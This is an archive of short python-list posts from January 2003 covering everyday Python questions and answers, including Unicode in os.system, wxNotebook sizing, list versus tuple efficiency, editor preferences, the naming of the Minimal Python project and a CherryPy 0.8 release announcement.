> In article <avu4qn$md3$1 at newsreader1.netway.at>, Sergio Lobo wrote:
>> I am looking for a way to change my simple HTTP Server into a HTTPS
>> server. My project is being developed using Jython.
> 
> Consider using stunnel: http://stunnel.mirt.net/.

Consider PureTLS, or OpenSSL binding.
http://sf.net/projects/pow

-- 
You should be mine.



From just at letterror.com  Mon Jan  6 13:48:29 2003
From: just at letterror.com (Just van Rossum)
Date: Mon,  6 Jan 2003 19:48:29 +0100
Subject: Distributing Python apps
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE90@admin56.narex.com>
Message-ID: <r01050400-1022-75DA670D21A711D7A7C4003065D5E7E4@[10.0.0.4]>

Bjorn Pettersen wrote:

> [ ... ] It seems it might be useful to add a module to the library
> that emits the graph either through static analysis, or by logging
> imports during a run. Static analysis could probably catch 95% of the
> imports, and even with run-time logging you might be hosed if you
> don't execute the program path that imports a module. If you combine
> them I would think you'd get in the 99% range (which I think is quite
> acceptable for a language like Python).

Python 2.3a1 contains modulefinder.py (used to be part of the Freeze
package). It does static import analysis and keeps track of which
modules import which. It still needs to be documented, though... It only
misses imports done in exec statements and by __import__ calls.

Just




From kccw at well.ox.ac.uk  Mon Jan 20 11:24:33 2003
From: kccw at well.ox.ac.uk (Kenny)
Date: Mon, 20 Jan 2003 16:24:33 +0000
Subject: Introduction object-oriented programming
In-Reply-To: <3d06fae9.0301171244.7d4af674@posting.google.com>
References: <b08ank$dak12@imsp212.netvigator.com> <3d06fae9.0301171244.7d4af674@posting.google.com>
Message-ID: <Pine.LNX.4.43.0301201619260.11411-100000@zeon.well.ox.ac.uk>

Try:

 http://www.ibiblio.org/obp/thinkCSpy/

	This online book allows to pick up the basics of OO Python very
quickly (from chapter 12 onwards). You can read other books for more
detailed explanations.


Kenny

*******************************************************************************
                     tout casse, tout passe, tout lasse.
*******************************************************************************


On 17 Jan 2003, jmdeschamps wrote:

> "Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message news:<b08ank$dak12 at imsp212.netvigator.com>...
> > Hi All,
> >
> > Can anyone recommend me an introduction on object oriented programming in
> > general, and the trick in Python? Preferrably tutorial on the web or so.
> > ...
> > Thanks!
> >
> > Wouter.
>
> Try http://www.freenetpages.co.uk/hp/alan.gauld/tutclass.htm
>
> Good luck, and have fun!
>
> Jean-Marc
>




From chrisl_li at yahoo.com  Wed Jan  8 00:04:51 2003
From: chrisl_li at yahoo.com (Chris li)
Date: Tue, 7 Jan 2003 21:04:51 -0800 (PST)
Subject: bgen rocks
In-Reply-To: <15899.41219.891519.226411@montanaro.dyndns.org>
Message-ID: <20030108050451.7520.qmail@web40907.mail.yahoo.com>

Sure. When I cleanup my code a little bit
I will submit them. The re module change
might break the Mac scan module which depend
on the default value of regular expression.

Cheers

Chris

--- Skip Montanaro <skip at pobox.com> wrote:
> 
>     Chris> I modify the bgen a little bit to use re
> module and also add some
>     Chris> ObjectDefinition for generating C
> structures objects, of course,
>     Chris> reuse the type we already know.
> 
> I'm sure your changes would be welcome.  You can
> submit a at SourceForge:
> <http://sf.net/projects/python>. 
> 
> Skip


__________________________________________________
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com




From graham.lee at invalid.wadham.ox.ac.uk  Fri Jan 24 14:01:42 2003
From: graham.lee at invalid.wadham.ox.ac.uk (Frodo Morris)
Date: Fri, 24 Jan 2003 19:01:42 +0000
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <b0s2ik$8a0$1@news.ox.ac.uk>

LJ & MT Lareau wrote:
> Is it possible to have Python produce the following literal output in the
> interactive mode.
> '"Let's try this!", they said.'
> If so what is the Python statement. I've tried several ways
> and can't seem to produce it.  Thanks for the help.
> 
> 
> 

 >>> print "'\"Let's try this!\", they said.'"
-- 
FM




From maxm at mxm.dk  Sun Jan 19 17:48:00 2003
From: maxm at mxm.dk (Max M)
Date: Sun, 19 Jan 2003 23:48:00 +0100
Subject: PIL: loading _imaging fails allthough it s there
In-Reply-To: <b0f49t$iig$1@news.tuwien.ac.at>
References: <b0f49t$iig$1@news.tuwien.ac.at>
Message-ID: <DUFW9.40704$Hl6.4834388@news010.worldonline.dk>

meinrad recheis wrote:
> Hi,  please give me some hint for that problem:
> 
> PIL Image() says it can not find the _imaging module, but
> _imaging.pyc is there. i used help() to display all modules and it was
> listed.
> then i tried to get help for _imaging i got this error message:
> "problem in _imaging - ImportError: DLL load failed: The specified module
> could not be found."


Shure you got the right version?

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From tundra at tundraware.com  Tue Jan 21 22:00:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 22 Jan 2003 03:00:07 GMT
Subject: os.system and unicode arguments fail on Win32
In-Reply-To: <m365si7z7v.fsf@mira.informatik.hu-berlin.de>
References: <d6kk0b.vfh1.ln@boundary.tundraware.com> <m3bs2a8409.fsf@mira.informatik.hu-berlin.de> <9dqk0b.aii1.ln@boundary.tundraware.com> <m365si7z7v.fsf@mira.informatik.hu-berlin.de>
Message-ID: <651l0b.ipj1.ln@boundary.tundraware.com>

Martin v. L?wis wrote:
> Tim Daneliuk <tundra at tundraware.com> writes:
> 
> 
>>>This will change in Python 2.3. In many cases, Python 2.2 will also
>>>accept Unicode strings in file system API on Windows. For Python 2.3,
>>>and NT+, all Unicode strings are usable as file names.
>>>This still does not include os.system, or environment variables.
>>
>>What is the restiction here that prevents 2.3 from doing things
>>the same way with these portions of the OS.
> 
> 
> I have problems parsing this sentence. Is this a question?


Sorry - my lousy English is almost as bad as my terrible German ;))

> 
>>Incidentally, it seem strange to me that Win32 is inherently
>>a unicode environment but os.system (which presumably mapps
>>to some Win32 API) has trouble with unicode strings...-
> 
> 
> If you are asking why Python 2.3 won't support Unicode strings to
> os.system? Primarily, because nobody has contributed code to do so. Do
> you volunteer?

Ummm, no - I much prefer writing for Unix or realtime systems.  Working
at this low a level in Win32 gives me nightmares ...

><SNIP>

> Notice that, on Windows, there are *two* native encodings: the ANSI
> code page (what the ANSI Win32 API expects, and which is used in the
> windowing system), and the OEM code page (which the FAT file system
> uses on disk, and the command.com/cmd.exe terminal windows, unless
> setcp.exe is invoked)

(Clearly) I am not too familiar with this, so I ran the commands
as you suggest and got ('en_US', 'cp1252') just as you've explained.
So... where does 'mcbs' come from?  That is, why is the translation
from unicode to bytestring not:

                y = encode(unicode-var, "cp1252")

or conversely

                u = unicode(byte-var, "cp1252")

Just wondering ...

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From pj at engr.sgi.com  Tue Jan 28 17:02:09 2003
From: pj at engr.sgi.com (Paul Jackson)
Date: 28 Jan 2003 22:02:09 GMT
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35F105.27C32244@engcorp.com> <_anZ9.1126$8p1.805@nwrddc04.gnilink.net> <mailman.1043727350.17568.python-list@python.org>
Message-ID: <b16ul1$ki17d$1@fido.engr.sgi.com>

Skip suggested:
>    http://www.python.org/dev/peps/pep-0304.html

How about instead:

    http://www.python.org/peps/pep-0304.html

-- 
-- 
                          I won't rest till it's the best ...
                          Programmer, Linux Scalability
                          Paul Jackson <pj at sgi.com> 1.650.933.1373



From anthony at interlink.com.au  Mon Jan 13 00:47:06 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Mon, 13 Jan 2003 16:47:06 +1100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project) 
In-Reply-To: <3E222FC1.40908@tismer.com> 
Message-ID: <200301130547.h0D5l6u16018@localhost.localdomain>

>>> Christian Tismer wrote
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.
> 
> Anyone having some good suggestions?

According to 
http://www.zoomschool.com/subjects/animals/Animalbabies.shtml
baby snakes are called:

  Snakelet, 
  neonate (a newly-born snake), 
  hatchling (a newly-hatched snake)

More reading shows that neonates are babies that
are born "live" (not really, but it seems like it - see
http://double-d-reptiles.tripod.com/birth.html 
for more), while hatchlings are from egg-laying species 
(which includes Pythons).

"Snakelet" has a cool sound to it, tho...

Anthony




From eviola at dsi.unive.it  Wed Jan 29 05:46:54 2003
From: eviola at dsi.unive.it (Pigio®)
Date: Wed, 29 Jan 2003 10:46:54 GMT
Subject: URLLIB2 
Message-ID: <yiOZ9.59194$ZE.1647153@twister2.libero.it>

Urllib2 and urllib don't work correctly if I want connect to
'http://cie.motor.ru/CIE/index.htm'. The functions block on connect. I don't
know the problem but I suppose that it could be cause from httplib; urrlib2
and urllib share httplib.

I HOPE THAT SOMEBODY KNOW THE SOLUTION!!!

Thanks ...
                                                                            
                    -Ennio-





From op73418 at mail.telepac.pt  Wed Jan 15 12:54:08 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Wed, 15 Jan 2003 17:54:08 +0000
Subject: Efficiency: list or tuple?
References: <b045v9$79k$1@news.efn.org>
Message-ID: <dt7b2vkl1ksa2ii0o8uvvsseoi5jt15jm3@4ax.com>

On 15 Jan 2003 17:32:25 GMT, Spencer Ernest Doidge <spencer at efn.org>
wrote:

>I'm interested in putting pairs of integers and floats into a sequence 
>of indeterminate length.
>I'm collecting this data in real time, and I want to use the most efficient
>available method so as to be able to gather data as fast as possible and
>append it to the sequence as I go. 
>As far as I can tell, I have lists and tuples to choose from. 
>Does either of these structures work better in this situation, or is
>there some other way I don't know about?

Tuples are immutable, so you don't even have the append method
available. I suppose this does not leave much choice, heh?

Depending on what you want to do, you could also consider dictionaries
(or sets in 2.3).

With my best regards,
G. Rodrigues



From altis at semi-retired.com  Thu Jan 30 20:41:47 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 30 Jan 2003 17:41:47 -0800
Subject: .pyw files
References: <mailman.1043954457.18687.python-list@python.org>
Message-ID: <tuk_9.459$pQ3.137608@news.uswest.net>

"Tim Peters" <tim.one at comcast.net> wrote in message
news:mailman.1043954457.18687.python-list at python.org...
> [Kevin Altis]
> > I thought .pyw got compiled to .pywc and an optimized compile would be
> > .pywo? That is based on the default being to just append 'c' or 'o' to
the
> > original extension. Has that changed or am I remembering incorrectly?
>
> If you don't have Python installed, it doesn't matter; if you do have
Python
> installed, you could have found out the answer faster than it took to
write
> the question <0.9 wink>.

Actually I did try it and the it generated .pyc files. The problem is that I
also did a search for .pywc files on my machine and I have some, so the
behavior changed or distutils changed, which is what I think generated the
files in the first place.

ka





From richard_wheeler at cinfin.com  Fri Jan 17 15:56:59 2003
From: richard_wheeler at cinfin.com (RW)
Date: 17 Jan 2003 12:56:59 -0800
Subject: 2.2.2 generates: "TypeError: 'module' object is not callable"
Message-ID: <5e536696.0301171256.1d3d9c48@posting.google.com>

Calls to the class dcHelper below works fine under 2.2.1 but now
breaks under 2.2.2 with the error: "TypeError: 'module' object is not
callable".

The processResults() method is called recursively.  The first time
that dcHelper class is called is while it is in a recursive call.  The
dcHelper object generated is then passed to processResults() in a
recursive call later.  However in the 2.2.2 version it gets the
TypeError on the very first call to dcHelper before it can pass it
another recursive call to ProcessResults().
Can anyone help me with this?  Platform is Win2K using ActiveState
2.2.2 distribution of python.
 
Thanks

Prototype Example:

def processResults( dc = None ): 
    class dcHelper( object ):
        def __new__( cls, whichway, alist ):
            self = super( dcHelper, cls ).__new__( cls )
            self.diff_files = []
            self.subdirs = {}
            if whichway == 'left_only':
                self.right_only = []
                self.left_only = alist
            else:
                self.right_only = alist
                self.left_only = []
            return self

    if dc == None
        processResults( '.' )

    if dc == '.':
        pathName = dc
        name = 'x'

        diff_dirs[name] = dcHelper( 'right_only', os.listdir(pathName)
)
        processResults( diff_dirs[name] )

processResults()



From markus.vonehr at ipm.fhg.de  Wed Jan 22 05:24:36 2003
From: markus.vonehr at ipm.fhg.de (Markus von Ehr)
Date: Wed, 22 Jan 2003 11:24:36 +0100
Subject: Newbie question: wxNotebook
References: <3E2D1E57.19CC5FC4@ipm.fhg.de> <b0ju52$1nmi$1@serv.vrn.ru>
Message-ID: <3E2E7164.BE082774@ipm.fhg.de>

Thanks!

It works perfect.

Markus


Lexy Zhitenev schrieb:
> 
> "Markus von Ehr" <markus.vonehr at ipm.fhg.de> ???????/???????? ? ????????
> ?????????: news:3E2D1E57.19CC5FC4 at ipm.fhg.de...
> > I want to add a control Panel on the left side.
> > In this Panel I want a Notebook filling the whole available space.
> > Unfortunately the notebook remains very small, too small for placing
> > controls inside.
> > What can I do that the notebook always fills the whole available area,
> > independent of the parents size?
> >
> 
> Yes, sizers and layouts don't work for wxNotebook. I hope it will be fixed
> in the next versions. The only thing I can propose is to use code like that.
> I use this variant:
> 
>         nb = wxNotebook(self, -1, (0, 0), size=self.GetClientSize(), style =
> wxNB_BOTTOM)
>         def OnFrameSize(evt, self=self, nb=nb):
>             nb.SetSize(self.GetClientSize())
>         EVT_SIZE(self, OnFrameSize)
> 
> This works for all cases, at least in Windows. self here is wxNotebook
> parent.
> 
> Best regards, Lexy.



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 12:14:49 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 09:14:49 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com> <7xn0lqbkmh.fsf@ruckus.brouhaha.com> <3E31666F.8060605@v.loewis.de> <7xy95azf09.fsf@ruckus.brouhaha.com> <mailman.1043427344.24979.python-list@python.org>
Message-ID: <7xadhq8o6u.fsf@ruckus.brouhaha.com>

Skip Montanaro <skip at pobox.com> writes:
>     Paul> Pick one of the unused ones from the above (probably from the
>     Paul> 33-61 range).
> 
> My MacOSX system only goes up as high as 31 (SIGUSR2).  Is calling kill(47)
> going to be defined?

On the Mac, you'd use SIGUSR2.  I don't see what's so hard to
understand about this.  Threads are an OS-specific feature to begin
with.  You have to expect the internal interface to them to also
not necessarily be the same for every OS.



From wurmy at earthlink.net  Mon Jan 13 12:05:37 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Mon, 13 Jan 2003 17:05:37 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <3E22F2BD.7000404@earthlink.net>

Christian Tismer wrote:
> Bengt Richter wrote:
> 
>> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
>> [...]
>>
>>> At the same time, as much as possible should become
>>> pluggable. It will be possible to have MiniPy
>>
>>
>> [...]
>>
>> Is "MiniPy" the official name ?
> 
> 
> No.
> There is no official name, yet.
> For some time, I was thinking of
> "Lilipyt".
> "Ptn" was the first thought, while
> not sounding very sexy just expressing brevity.
> "Pippy" is already occupied.
> "Minipy"? Well, there are so many "py" projects,
> this makes it hard to come up with a good new name.
> 
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.
> 
> Anyone having some good suggestions?

So far, most people seem to associate the idea of "minimal" as being small, 
tiny...  To use a different twist, what about using the minimalist movement in 
art? MondrianPython, GlassPython... :-)

(Of course, being Dutch I should spell it "Mondriaan", aside...)

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From klaatu at evertek.net  Fri Jan  3 12:36:30 2003
From: klaatu at evertek.net (Mike Dean)
Date: 3 Jan 2003 17:36:30 GMT
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com>
Message-ID: <av4hmu$ir6$1@ins22.netins.net>

On Fri, 03 Jan 2003 02:49:31 -0800 Erik Max Francis <max at alcyone.com> wrote:
> I also don't want to get into a vi vs. emacs war, but how does emacs
> have a steeper learning curve, at least for just basic text editing
> usage (creating files, opening files, editing files, saving files,
> quitting)?

I, too, do not want a war, but, in my personal experience, emacs does
have a much steeper learning curve.

I downloaded Vim two or three years ago, my first experience with a
vi-based editor.  I went through its tutorial (took me less than an
hour), and was immediatly able to perform simple text-manipulation
tasks.  I went back and looked at it a time or two again later (as I had
put Vim aside for a few weeks, then decided to pick it up seriously),
and have never needed to look up the basic commands again.

On the other hand, I decided that I should give Emacs a serious shot.
Since a lot of people seem to like it, I figured that there must be
something there worth looking at (and I had read about ELSE, which I
still wish I could implement for Vim).  So I went through the tutorial.
Took me an hour, and I couldn't remember a line of it (well, I
remembered a couple of the cursor movement commands).  Over the next 6
months to a year, I revisited it three or four times in an attempt to
figure this thing out.  I now know the cursor movement commands, and a
few others, but not much.  I've since dropped any ideas of learning
Emacs completely, as, within 6 months of learning Vim, I was able to
fluently work with multiple bufferes and windows, multiple cut and paste
registers, and was writing my own scripts.

Just my $.02,
-Michael

*ducks mortar fire*



From pyth at devel.trillke.net  Wed Jan 29 15:29:28 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 29 Jan 2003 21:29:28 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
In-Reply-To: <a626bbd7.0301291212.56379a7c@posting.google.com>; from escalation746@yahoo.com on Wed, Jan 29, 2003 at 12:12:53PM -0800
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <a626bbd7.0301291212.56379a7c@posting.google.com>
Message-ID: <20030129212928.K10804@prim.han.de>

robin wrote:
> Christian Tismer <tismer at tismer.com> wrote:
> 
> > Anyone having some good suggestions?
> 
> Wouldn't the most minimal name be simply "P"?

I thought so, too. But the pronounciation is 'pee'
which probably disqualifies it.

In case you haven't noticed, the naming wars
are long over :-)

    holger




From i.linkweiler at web.de  Thu Jan 30 12:43:06 2003
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Thu, 30 Jan 2003 18:43:06 +0100
Subject: ImportError: No module named _curses ?
References: <3E3861C4.8090609@web.de> <oJ0_9.210$TG3.169677@news.uswest.net>
Message-ID: <3E39642A.5040706@web.de>


Kevin Altis schrieb:
> The curses module is not available on Windows, as you found out when you
> tried to import it. The documentation should probably make that point.
> 
> http://www.python.org/doc/current/lib/module-curses.html

the documentation says, it is available for DOS.
I thought, a DOS-Box in Windows is compatible to MS-DOS.

Do you know any alternatives for my purpose?
I only need some simple, but OS-independend functions like this
c = readkey()
clearscreen()
setcursorat(x,y)

Ingo




From remi at cherrypy.org  Mon Jan 13 04:06:54 2003
From: remi at cherrypy.org (Remi Delon)
Date: Mon, 13 Jan 2003 10:06:54 +0100
Subject: ANN: CherryPy-0.8 released
Message-ID: <3e2281ad$0$27681$626a54ce@news.free.fr>

We're pleased to announce the release of CherryPy-0.8.

This release adds a brand new HTTP server that supports SSL, XML-RPC,
threading, forking and process pool.
The documentation has also been improved: the tutorial now has a section
about deploying a CherryPy server and several HowTos have been added.

------------------------------------------
About CherryPy:

CherryPy is a Python-based tool for developing dynamic websites. It
uses many powerful concepts together, which makes it unique in its
approach to website development.
CherryPy sits between an application server and a compiler. You write
source files, compile them with CherryPy and CherryPy generates an
executable containing everything to run the website (including an HTTP
server).
It is released under the GPL license.

CherryPy has been used in production for more than a year and it has proven
fast and robust.
Key properties/features of CherryPy are:
   - Based exclusively on Python (runs everywhere Python runs)
   - Delivers fast, robust, and scalable websites
   - Developers can use OOP as well as AOP (Aspect Oriented Programming)
concepts to develop web sites
   - True separation of content and presentation
   - Simple but powerful templating language
   - "HTML editor safe" templating language (templates can go back and forth
between designers and developers)
   - Powerful standard libraries to make your life easy

Other properties/features are:
   - Can be linked to many databases (Oracle, Sybase, MySql, PostgreSql,
...)
   - Can run behind another webserver (Apache, ...)
   - Easy clustering and load-balancing set up for high-traffic websites
   - Built-in caching capability
   - SSL support (based on PyOpenSSL)
   - XML/XSL support (based on 4Suite)
   - Built-in XML-RPC suppor

Remi.

http://www.cherrypy.org






From BPettersen at NAREX.com  Mon Jan  6 12:37:16 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 10:37:16 -0700
Subject: Removing Control characters
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE91@admin56.narex.com>

> From: Amol Sonaikar [mailto:amol at kenati.com] 
>
> In your reply below you have used chr(8) to identify ^H. Can 
> I use same 
> function chr(8) in if statement
[...]
> Currently I am getting following error. What can be the correct syntax
> 
>     if str1[i] == chr(8)
>                        ^
> SyntaxError: invalid syntax

You're missing the colon at the end of the line. If you want, you can
probably file a bug report on SourceForge that the error message isn't
very beginner friendly...
(http://sourceforge.net/tracker/?group_id=5470&atid=105470, you'll need
to create a user and/or log in before you can file bugs).

-- bjorn




From martin at v.loewis.de  Tue Jan 21 15:51:47 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 21 Jan 2003 21:51:47 +0100
Subject: translate txt into HTML
In-Reply-To: <x7el762x0p.fsf@guru.mired.org>
References: <18f9f477.0301210606.45d9eaca@posting.google.com> <3E2D5529.C9CB5479@engcorp.com> <x7el762x0p.fsf@guru.mired.org>
Message-ID: <3E2DB2E3.9070306@v.loewis.de>

Mike Meyer wrote:
> You've got a bug. Try this for the second print:
> 
> print >>htmlFile, '<body><pre>%s</pre></body></html>' % text.replace('<', '&lt;')

This is a bug only if text contains "<". Likewise, your code has a bug 
if text contains "&".

However, this is precisely the point that Peter was making: The OP 
should really think about the requirements. "translate txt into HTML" 
can be really easy, or can be really difficult, depending on the exact 
requirements. It is very likely that Peter's code is not what the OP 
wants, but everybody has three free guesses what it is that the OP wants.

Regards,
Martin




From aonaran at yahoo.com  Sat Jan  4 20:38:23 2003
From: aonaran at yahoo.com (aonaran at yahoo.com)
Date: 5 Jan 2003 01:38:23 GMT
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com>
Message-ID: <av82af$6eu$1@knot.queensu.ca>

Afanasiy <abelikov72 at hotmail.com> wrote:

> How do I loop over an associative array (dictionary) with easy access
> to key and value variables on each iteration. In PHP I do this :

>  foreach($table as $key => $value) {
>    echo $key.'='.$value;
>  }

> In PHP, I am unsure how I am supposed to, in some way that makes sense,
> loop with access to the key in addition to the value (which is easy).

Assuming you mean it's not clear how to do this in python, the first way
that comes to mind is just this:

        # build easy dict
        d = {1:2,2:3,4:5,5:7,6:11}

        for key in d.keys():
            val = d[key]
            print key,'=',val

With the introduction of iterators in python 2.2 (IIRC) it's even simpler:

        for key, val in d.items():
            print key,'=',val


Doug

--
Queen's University Astronomy Research Group
Planetary Dynamics Division                     "We create worlds."







From mcfletch at rogers.com  Tue Jan 14 18:01:34 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Jan 2003 18:01:34 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3s0V9.12202$UB4.56447@news-server.bigpond.net.au>
References: <mailman.1042488171.6529.python-list@python.org> <3s0V9.12202$UB4.56447@news-server.bigpond.net.au>
Message-ID: <3E2496CE.4040902@rogers.com>

Okay, thanks all.  I'm thinking I'll have to find a way to blackmail the 
board (or at least Tim) into not suing me :) .

Enjoy,
Mike

Mark Hammond wrote:

> Tim Peters wrote:
>
>> [Mike C. Fletcher]
>
...

>>
>> Speaking as a director of the PSF, IMO that use is fine.  I'm not 
>> sure that
>> means more than that I'd feel bad if I voted to sue you anyway, but 
>> that's
>> better than nothing <wink>.  If that's not good enough, I believe the 
>> .ico
>> files orginally came from Mark Hammond.
>
>
> They did, and the PSF indeed holds copyright.
>
> Mark.

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From creyes at ea.com  Tue Jan 14 18:37:35 2003
From: creyes at ea.com (Christian Reyes)
Date: Tue, 14 Jan 2003 15:37:35 -0800
Subject: Automating Web Interfaces with Python
References: <mailman.1042572205.4047.python-list@python.org> <v295n7inf1k742@corp.supernews.com>
Message-ID: <v297q6dunseo0c@corp.supernews.com>

Yes Cameron,
You've very succinctly identified the situation.
Your recommendation is exactly what I am looking for.  I think we are one
post away from closing this thread. :)
Christian

> So:  my recommendation is that this thread start back at the
> beginning.  Mr. Reyes, how will you know when you're done?  If
> we can teach you how to automate retrieval of the content of
> one Web page, with parametrized forms values and such, will you
> be substantially nearer your goal?

"Cameron Laird" <claird at lairds.com> wrote in message
news:v295n7inf1k742 at corp.supernews.com...
> In article <mailman.1042572205.4047.python-list at python.org>,
> Rick Richardson  <rrichardson at eti-main.enabletech.com> wrote:
> >I assume by automate you mean create html forms that automagically post
to
> >automagically generated receivers given some database or XML scheme. I'd
> >recommed XSLT for something like this. Python can manage the html file
> >generation/management processes for you quite easily.
> >
> >Also if you're not stuck on JSP there is Zope, which many enjoy but I've
> >never used.
> >Another option, Twisted has created a really neat Widget/Gadget template
> >Model/View/Controller based web devel/deployment system. I have used that
> >one and I must say it's the first thing that's ever made web development
fun
> >:)
> >
> >I never did get into JSP much, most (free) systems were too hard to
> >configure and the servlet/bean/jsp
> >system was cool but just didn't feel right to me. But some people swear
by
> >it, so hey.
> .
> .
> .
> Maybe.
>
> Web testing's a specialized area.  That's an oblique way of
> saying that there's a professional level of Web testing that's
> a lot different from the amateur one.
>
> My estimate is that we're still at the stage of gathering re-
> quirements.  Mr. Reyes could mean by his questions just that
> he's not familiar with the topic of "Web scraping", and doesn't
> know how to automate validation of a modest number of Web pages.
> Or he could be saying that he has large-scale requirements to
> verify the rendered appearance of tens of thousands of distinct
> pages, as seen through either of several browsers.
>
> Chatter about JSP makes me suspect that the question is an
> introductory one for him.  JSP is probably *not* among the
> ten (let's say) most salient technical dimensions of this task.
>
> I consider XSLT a disservice for someone at the stage I believe
> Mr. Reyes is.
>
> Twisted is truly remarkable.  I don't think we know enough yet
> to decide whether it's pertinent.
>
> So:  my recommendation is that this thread start back at the
> beginning.  Mr. Reyes, how will you know when you're done?  If
> we can teach you how to automate retrieval of the content of
> one Web page, with parametrized forms values and such, will you
> be substantially nearer your goal?
> --
>
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html





From jussij at zeusedit.com  Mon Jan  6 06:32:48 2003
From: jussij at zeusedit.com (Jussi Jumppanen)
Date: Mon, 06 Jan 2003 22:32:48 +1100
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com> <0sah1vs5mtl0tmnveqev1dklq8ppt2rmev@4ax.com>
Message-ID: <3E196960.9A4@zeusedit.com>

Afanasiy wrote:
> 
> On 5 Jan 2003 07:14:14 -0800, grayshade at libero.it (Domenico) wrote:
> 
> >have your say...
> 
> Ultraedit(.com)
> Editplus(.com)

Zeus for Windows (http://www.zeusedit.com)



From nav at adams.patriot.net  Fri Jan 31 15:52:33 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 31 Jan 2003 15:52:33 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <oPr_9.108013$0v.3123750@news1.tin.it> <mailman.1044029142.17081.python-list@python.org> <yyyhebpkyjd.fsf@adams.patriot.net> <mailman.1044036665.13238.python-list@python.org>
Message-ID: <yyy8yx1kpny.fsf@adams.patriot.net>

Mongryong <Mongryong at sympatico.ca> writes:

> In the real world, it's the basis for applying practical solutions
> without having to prune the entire solution space.  That's the
> difference between a University computer science student and a local
> college programmer graduate.

I'm confused, which is which again?

I didn't take any formal programming courses after High School, but
judging by some of the people I've worked with who have CompSci
degrees... Well, let's just say I could have done much worse than
Philosophy.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
